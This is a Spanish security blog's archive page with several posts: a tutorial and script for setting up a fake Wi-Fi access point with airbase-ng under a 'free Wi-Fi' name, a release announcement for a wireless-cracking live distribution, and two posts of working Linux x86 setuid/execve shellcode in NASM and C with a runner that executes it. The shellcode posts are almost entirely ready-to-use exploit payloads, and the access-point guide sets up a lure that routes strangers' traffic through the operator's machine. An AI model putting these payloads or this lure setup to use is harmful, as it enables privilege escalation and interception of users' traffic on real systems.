A todos nos ha pasado cuando llevamos cierto tiempo depurando con gdb, que apartamos la vista de la pantall después de dejarnos los ojos y las manos en la consola, y seguimos viendo la magnífica interface de GDB (sí, hay entornos gráficos, pero no vamos a entrar en comparaciones), así que como no somos los primeros a los que nos pasa, varias personas (mamon_, elaine, pusillus, mon) personalizaron el fichero de configuración de GDB,el cuál nos da una interface similar a OllyDbg de MS Windows, coloreando los campos, etc. El fichero de configuración es el siguiente, y solo hay que guardarlo en la ruta de trabajo de nuestro usuario con el nombre “.gdbinit” y ahorrarnos tiempo y esfuerzo.
Category Archives: GNU/Linux - Page 3
Creando un punto de acceso falso (airbase-ng)
POST ACTUALIZADO: http://safetybits.net/2009/10/05/creando-un-punto-de-acceso-falso-ii/
Hasta hace relativamente poco tiempo, una condición necesaria para crear un punto de acceso era que el driver de nuestra tarjeta debía de soportar el modo “master” (ej: chipsets atheros), pero como no todos cumplimos en un determinado momento esta condición, los desarrolladores de la suite “aircrack-ng” están desarrollando una herramienta llamada “airbase-ng”, cuyo propósito es el de poder crear un punto de acceso a partir de una interface de red en modo monitor.
Si visitamos la página de la documentación de la herramienta, veremos entre otras cosas, que podemos usar esta herramienta tanto para montar un AP para dar conexión a internet, como para realizar auditorías en redes wireless con protección WEP/WPA/WPA2, pero también vemos el siguiente mensaje:
++++++ IMPORTANT ++++++
++++++ IMPORTANT ++++++
++++++ IMPORTANT ++++++This functionality will be available in a future release. It is NOT available currently.
++++++ IMPORTANT ++++++
++++++ IMPORTANT ++++++
++++++ IMPORTANT ++++++
Esta herramienta no está disponible en la descarga de la versión estable de la suite, pero podemos descargarnos la suite completa desde el CVS de la siguiente manera:
$ svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
$ make
# make install
Repasemos los requisitos necesarios para crear un punto de acceso funcional:
- Servidor DHCP
- Servidor DNS
En mi caso, usaré como servidor DHCP “dhcp3-server” y como servidor DNS “bind9″ (en distribuciones basadas en Debian GNU/Linux: apt-get install dhcp3-server bind9).
Hecho esto, vamos a configurar el servidor DHCP (una configuración básica), para ello editamos el archivo “/etc/dhcp3/dhcpd.conf”, de manera que tengamos únicamente las siguientes entradas sin comentar:
ddns-update-style none;
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.33 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}
Una vez hecho esto, vamos a crear un punto de acceso sin encriptación, proporcionando acceso a internet a los clientes, con lo que suponiendo:
- ath0 —> Conectada a internet
- ath1 —> Modo monitor
Usaremos “ath1″ para crear el AP con airbase-ng, y “ath0″ para dar conexión a los clientes, con lo que procederemos de la siguiente manera:
Creamos el punto de acceso:
blanquito:/# airbase-ng -P -C 2 -c 6 --essid Wifli_Gratis ath1
19:04:40 Created tap interface at0
19:04:40 Trying to set MTU on at0 to 1500
19:04:40 Trying to set MTU on ath1 to 1800
19:04:40 Access Point with BSSID XX:XX:XX:XX:XX:XX started.
Podemos asegurarnos que se ha creado haciendo:
blanquito:/# iwlist ath0 scan | grep ifli
ESSID: "Wifli_Gratis"
Como vemos, se ha creado una interface virtual llamada “at0″, que será con la que trabajemos de aquí en adelante, ya que de haber creado un AP con cifrado WEP, esta sería la interface que tendría todos los paquetes descifrados, de manera que la levantamos de la siguiente manera:
blanquito:/# ifconfig at0 10.0.0.1 netmask 255.0.0.0 up
Una vez hecho esto, iniciamos el servidor DHCP indicándole el fichero de configuració y la interface de red con la que debe trabajar:
blanquito:/# /etc/init.d/dhcpd3-server stop
blanquito:/# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
Internet Systems Consortium DHCP Server V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Wrote 2 leases to leases file.
Listening on LPF/at0/XX:XX:XX:XX:XX:XX/10.0.0/24
Sending on LPF/at0/XX:XX:XX:XX:XX:XX/10.0.0/24
Sending on Socket/fallback/fallback-net
El siguiente paso, es iniciar el servidor DNS para la resolución de nombres:
blanquito:/# /etc/init.d/bind9 restart
Los últimos pasos que vamos a relaizar serán, activar el ip forwarding, y agregar unas reglas a la tabla “nat” de iptables para poder dar acceso a internet a los clientes, por tanto:
blanquito:/# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
blanquito:/# iptables -t nat -F
blanquito:/# iptables -t nat -A PREROUTING -i ath0 -j REDIRECT
blanquito:/# iptables -t nat -A POSTROUTING -o ath0 -j MASQUERADE
Y con esto ya estará todo listo, tendremos un AP y los clientes tendrán acceso a internet, pero como todos estos pasos son un poco engorrosos, lo mejor es hacerse un script que automatice todo el proceso.
Aquí os pongo el mío, y una nota importante, los parámetros extra que se le pasen al script, los pasará a “airbase-ng”.
#!/bin/sh
#
# Script para crear un punto de acceso usando airbase-ng
#
# Argumentos basicos: interface_conexion interface_monitor ip_gw mascara
#
#
RUTA_WLANCONFIG="/usr/local/bin/wlanconfig" #Solo para crear la interface monitor con chipsets atheros
RUTA_AIRBASE="/usr/local/sbin/airbase-ng"
RUTA_BIND9="/etc/init.d/bind9" #script de inicio
RUTA_DHCPD3S="/etc/init.d/dhcp3-server" #script de inicio
RUTA_DHCPD3="/usr/sbin/dhcpd3"
RUTA_CFG_DHCPD3="/etc/dhcp3/dhcpd.conf"
RUTA_SYSCTL="/sbin/sysctl"
RUTA_IPTABLES="/sbin/iptables"
OPC_CREAR="-m"
clear
echo "###############################"
echo "# SCRIWAP #"
echo "#=============================#"
echo "# Chema Garcia (aka sch3m4) #"
echo "# sch3m4@safetybits.net #"
echo "# http://safetybits.net #"
echo "###############################"
echo ""
if [ "$UID" -ne 0 ]
then
echo "[!] Has de ser root!"
exit 0
fi
if [ "$#" -lt 3 ]
then
echo "Uso: " $0 " "
echo ""
echo "Ej: " $0 " eth0 wlan0 192.168.1.1 255.255.255.0"
echo ""
echo "Opciones:"
echo " -m ---> Crear interface monitor (Chipsets Atheros)"
echo ""
exit 0
fi
#comienzo de parametros de airbase
num=5
#comprobamos si debemos crear la interface
if [ $# -ge 5 ] && [ "$5" = "$OPC_CREAR" ]
then
let num=$num+1
echo "[+] Creando interface $2"
$RUTA_WLANCONFIG $2 destroy 2>/dev/null
$RUTA_WLANCONFIG $2 create wlanmode monitor wlandev wifi0 >/dev/null
fi
iface=$2
ip=$3
mascara=$4
var=$#
if [ $num -eq 5 ]
then
while [ $# -gt 0 ] && [ $num -le $var ];do
param="$param $5"
shift
num=$(($num+1))
done
else
while [ $# -gt 0 ] && [ $num -le $var ];do
param="$param $6"
shift
num=$(($num+1))
done
fi
param="$param $iface"
#Activamos el IP Forwarding
echo "[+] Activando IP Forwarding"
$RUTA_SYSCTL net.ipv4.ip_forward=1 >/dev/null
#Limpiamos la tabla 'nat' de iptables y agregamos nuestras reglas
echo "[+] Limpiando tabla 'nat' de iptables"
$RUTA_IPTABLES -t nat -F
echo "[+] Agregando reglas PREROUTING y POSTROUTING"
$RUTA_IPTABLES -t nat -A PREROUTING -i $iface -j REDIRECT
$RUTA_IPTABLES -t nat -A POSTROUTING -o $iface -j MASQUERADE
echo "[+] Creando punto de acceso"
rmmod tun 2>/dev/null
xterm -e $RUTA_AIRBASE $param &
sleep 3
echo "[+] Levantando interface at0"
ifconfig at0 $ip netmask $mascara up
echo "[+] Reiniciando servidor DHCP"
$RUTA_DHCPD3S stop >/dev/null
$RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 at0 2>/dev/null
echo "[+] Reiniciando servidor DNS"
$RUTA_BIND9 restart >/dev/null
echo ""
echo "[+] Finalizado!"
echo ""
Para usar este script en el ejemplo anterior, sería algo así:
./ap.sh ath0 ath1 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli_Gratis
En el foro de seguridadwireless hay un post sobre cómo hacer balanceo de carga entre redes: http://foro.seguridadwireless.net/zona-linux/balanceo-de-carga-en-linux/
WifiWay 1.0 Final
Después de mucho trabajo por parte del staff de seguridadwireless.net, han publicado la versión 1.0 Final de WifiWay, sin duda, una live para tener siempre a mano.
Cito las características y mejoras:
wifiway-1.0-final
Descarga directa iso: http://download.wifislax.com:8080/wifiway-1-final.iso
Tamaño: 664.6 Megas
Es inferior a la beta con mucho mas contenido gracias a las ultimas linux-live,
lo cual la hacen mas rapida y menos necesidad de memoria RAM.
MD5: 2fac135cad7b185706bbcb9c51f45932 wifiway-1-final.iso
Descarga fichero MD5: http://download.wifislax.com:8080/wifiway-1-final.iso.md5
Nota: No aconsejamos usar firefox 3 para la descarga del fichero ISO
Kernel
Kernel: 2.6.27.7
Adaptado para modo liveusb 2.6.27.7 SMP mod_unload 486
Mantenemos las fuentes al completo y limpias, para la posiblidad de actualizar drivers.
Kernel tipo SMP permite aprovechar el 100% de los equipos con 2 nucleos, DUAL CORE
Entorno grafico
Kde: 3.5.9 estable
Con diferentes idiomas; castellano, ingles, aleman, portugues, catalan, vasco y frances.
Por supuesto las aplicaciones tipicas del etorno grafico KDE
Entorno alternativo x-win Fluxbox 0.9.15.1, podemos determinar el entorno a iniciar, por defecto es el KDE
startx ... to start Xwindow
kde ... to start Xwindow with KDE
flux ... to start Xwindow with fluxbox
Ademas referente al entorno grafico:
autox ... to configure automatic the environment XWindow
autoxdefault ... to restore default the environment XWindow (Vesa)
por defecto se inicia con Vesa, asi el entorno grafico puede entrar en muchos mas equipos.
Drivers mas importantes y mas utilizados a nivel universal
Modo monitor:
airmon-ng start <interface>
Permiten inyección:
aireplay-ng -9 <interface>
Familia ieee80211
Ralink USB rt2570
Ralink PCI rt2500
Ralink rt61, debido a su incompatiblidad con los madwifi, se deben cargar a traves de lanzador
Ralink USB rt73, mantenemos el viejo lanzador por si carga los rt2570
Atheros madwifi-hal, la primera y unica live que soporta nativamente los nuevos chipset de atheros
Intel pro wireless ipw2200
Realtek r8187, los de la famosa alfa blanca, la unica live que lleva estos drivers con kernel 2.6.27
Intel pro wireless 3945, ipwraw old, los primeros drivers paar estos equipos que hemos mantenido, por defecto no se cargan, se debe usar lanzador.
Familia mac80211
La nueva generacion de drivers, suite aircrack-ng adaptada a ellos, se trabajan con interfaces diferentes, siempre del tipo
monX
Zydas zd1211rw-mac80211
Intel pro wireless iwlagn con firmware para las nuevas iwl4965 y iwl5×00, siendo la unica live que incopora nativamente estos drivers.
Intel pro wireless iwl3945, son cargados por defecto, tambien la unica live que los incluye.
Broadcom b43 y b43legacy, me repito pero la unica live que los incluye
Ademas hemos mantenido los drivers siguientes en la ruta /opt/drivers, los cuales se deberam cargar a mano, suponemos que son mejores los nativos, si bien hemos mantenido los siguientes por si los nativos dieran problemas
Ralink rtx200
Intel pro wireless ipw2×00
Atheros ath5k
Atheros ath9k
Navegacion
Firefox 2.0.0.18
Plugin noscript (notad que cada 2 por 3 sacan nuevos update y no podemos
sacar una live cada 4 dias)
Plugin ShowIP
Plugin DOM Inspector
Idiomas Español y Ingles
amsn
kopete
Aplicaciones auditoria wireless
Suite Aircrack-ng 1.0 rc1 r1223, perfecta para trabajar con la nueva serie de drivers mac802111
Matizamos que el aircrack-ng ejecutable es Aircrack-ng 0.9.3, esto es debido a que la serie rc1 no trabajan bien para WEP cpn diccionario (-w), indispensable para el territorio español, y que aun no han corregido a pesar de las innumerables capturas que les hemos mandado.
Ademas incorporamos las aplicaciones airdecloak-ng y Tkiptun-ng, aunque son sus versiones en fase de pruebas, no inician el tratamiento WPA de forma diferente al habitual.
Dentro de Aplicaciones auditoria wireless incorporamos la sección estudio de cifrados con los siguiente programas:
jazzteldecrypter
stkeys
wlandecrypter con toda la nueva serie de MAC que ha aparecido hasta el momento.
dlinkdecrypter
rfidtool version 0.2
decsagem
wepattack
weplab
cowpatty
La mayoria de esta aplicaciones llevan lanzador grafico, y tambien estan incorporadas en el nuevo airoscript
airoscript
Ideal para iniciados en el analisis seguridad wireless. Mantenemos 3 versiones, la oficial en ingles, la de siempre en español, y una nueva en español con la incorporacion de jazzteldecrypter, stkeys, wlandecrypter y dlinkdecrypter
wlaninject
wifizoo 1.3
wireshark
airpwn
hamster & ferret
Aplicaciones wireless estandar
wifi-radar
Kwifimanager
Wireless assisntat
wifiscanner
WPA-GUI: Soporte conexion grafica wpa-psk
rutilt para los drivers de ralink
Apliaciones extra-ocio
Un pequeño guiño al profesional o ameteur que se decica a la adutoria wireless
Juego de ajadrez Xboard, para que no se diga que los que no dedicamos a este mundo somos unos frikis sin dos dedos de frente, y porque no, mientras esperamos a capturas petciones de ARP validas.
Juego Papa-Patata, indispensable, para que mi hijo no se aburra mientras decido cientos de horas a realizar auditorias
wink personalmente no lo he usado y no se para que sirve, pero muchos compañeros se empeñaron en que se pusiera, lo siento pero tenia que decirlo.
gparted no recuerdo bien si estaba en la version beta, pero personalmente me encanta esta apliacion, que es muy util para la creacion de livecd sobre todo cuando la cagas y tienes que volver para atras, hay un liveCD con el nombre de dicha aplicacion, quizas no funcione al 100% pero es de mucha utilidad.
netcat definido en Wikipedia como najava multiusos
Nota: Hay muchas mas aplicaciones pero creemos oportuno mencionar las que hemos añadido o mejorado, esta version mantiene muchas de las aplicaciones incorporadas en versiones anteriores, por citar algun ejemplo: nmap, gFTP, KSnapshot, kedit, etc.
Como mencion especial y con todos los derechos del mundo:
wifipacket
Wifipacket 0.1 para seguridadwireless.net por Pianista
wifipacket [opcion] (name)
Opciones:
update --- Actualiza la lista de paquetes
list --- Lista los paquetes disponibles
install --- Instala el paquete seleccionado (-v) especifica la version a instalar
-v --- Muestra creditos de wifipacket
Es una actualizador personalizado para wifiway, aplicable a wifislax en futuras versiones, que permitira en un futuro muy proximo a los seguidores de wifiway, poder actulizar su distribuccion sin tener que descargarse nuevas lives, cabe decir que es para aquellos usuarios que tienen instalado wifiway en sus equipos, usarlo para modo live, podra ser pero no con toda su pontencia, una actualizacion de la suite ng o un driver bien, pero imaginemos la actualizacion de todo un kernel entero, o de todo un kde.
Por lo tanto se usara en el futuro para actualizaciones
Mencion especial tambien, para el instalador exclusivo de wifiway, es una serie de programa graficos que se ejecutan desde el menu
Menu – Sistema – Wifiway Install, encontramos varias opciones, la que lo engloba todo es
>> Install Wifiway , en idioma ingles y castellano, aunque tambien podemos encontar 3 posiblidades mostradas en versiones anterirores, copia del contenido, edicion y creacion del GRUB, modifcacion MBR, etc
Posiblemente algunos de vosotros ya haya vosto dicho manual y habreis pensado, pero si eso no estaba en la version beta, digamos que el manual ha salido antes que la propia live
Logo exclusivo wifiway carga kernel, asi los copiones de siempre, por lo menos esta vez se tendran que molestar en compilar el kernel, cosa que tambien esta facilitada en la nueva wifiway, pero que son tan simples que solo la palabra compilar kernel posiblemente los heche para atras, aunque tampoco me extrañaria que dejaran el propio logo y saquen una version propia , ¿se aceptan apuestas?
Carga de livecd tuneda, adaptada y exclusiva para wifiway……….venga que esta tambien es facil de modificar.
Smallest GNU/Linux x86 setuid(0) & exec(“/bin/sh”,0,0) Stable shellcode – 28 bytes
Después de todo lo que hemos hecho, vlan7 me avisó de que las shellcodes anteriores sobre las que habíamos estado trabajando, estaban mal escrita, ya que ambos estábamos metiendo el uid de la llamada setuid en el registro ecx, en lugar de ebx…. Un fallo sin perdón, sin duda.
Así que después de meditarlo bien, retocar la shellcode, probarla en diferentes entornos, modificando la pila, los registros, etc. He llegado a esta shellcode estable de 28 bytes que realiza corréctamente ambas llamadas, setuid & execve:
Código para nasm:
global _start
section .text
_start:
;setuid(0)
xor ebx,ebx
lea eax,[ebx+17h]
cdq
int 80h
;execve("/bin/sh",0,0)
xor ecx,ecx
push ecx
push 0x68732f6e
push 0x69622f2f
lea eax,[ecx+0Bh]
mov ebx,esp
int 80h
Código en C:
#include
const char shellcode[]= "\x31\xdb"
"\x8d\x43\x17"
"\x99"
"\xcd\x80"
"\x31\xc9"
"\x51"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x8d\x41\x0b"
"\x89\xe3"
"\xcd\x80";
int main()
{
printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 STABLE SHELLCODE"
"WITHOUT NULLS THAT SPAWNS A SHELL"
"\n\nCoded by Chema Garcia (aka sch3m4)"
"\n\t + sch3m4@safetybits.net"
"\n\t + http://safetybits.net"
"\n\n[+] Date: 29/11/2008"
"\n[+] Thanks to: vlan7"
"\n\n[+] Shellcode Size: %d bytes\n\n",
sizeof(shellcode)-1);
(*(void (*)()) shellcode)();
return 0;
}
Smallest “setuid” & “execve” GNU/Linux x86 shellcode without nulls that spawns a shell
POST ACTUALIZADO: http://safetybits.net/2008/11/26/gnulinux-setuid0-execbinsh00-stable/
Estuve retocando la modificación de vlan7 a mi shellcode y la reduje a 25 bytes.
La más pequeña hasta la fecha.
SMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE
WITHOUT NULLS THAT SPAWNS A SHELL
History:
+ v1.0 (27 bytes) => http://safetybits.net/2008/11/14/gnulinux-x86-
setuid0-execvebinsh00-shellcode-without-null/
+ v2.0 (26 bytes) => (http://vlan7.blogspot.com/)
http://packetstormsecurity.org/filedesc/
smallest_setuid_execve_sc.c.html
v3.0 (25 bytes)
################
global _start
section .text
_start:
;setuid
xor ecx,ecx
lea eax,[ecx+17h];setuid syscall
int 80h
;execve
push ecx;ecx = 0
push 0x68732f6e ;sh/
push 0x69622f2f ;nib//
mov ebx,esp;pointer to "struct pt_regs"
lea eax,[ecx+0Bh];execve syscall
int 80h
#include
const char shellcode[]= "\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73"
"\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80";
int main()
{
printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE"
"WITHOUT NULLS THAT SPAWNS A SHELL"
"\n\nCoded by Chema Garcia (aka sch3m4)"
"\n\t + sch3m4@safetybits.net"
"\n\t + http://safetybits.net"
"\n\n[+] Date: 22/11/2008"
"\n\n[+] Thanks to: vlan7"
"\n\n[+] Shellcode Size: %d bytes\n\n",
sizeof(shellcode)-1);
(*(void (*)()) shellcode)();
return 0;
}
milw0rm: http://milw0rm.com/shellcode/7187
PacketStormSecurity: http://packetstormsecurity.org/shellcode/25bytes-execve.txt

Ultimos Comentarios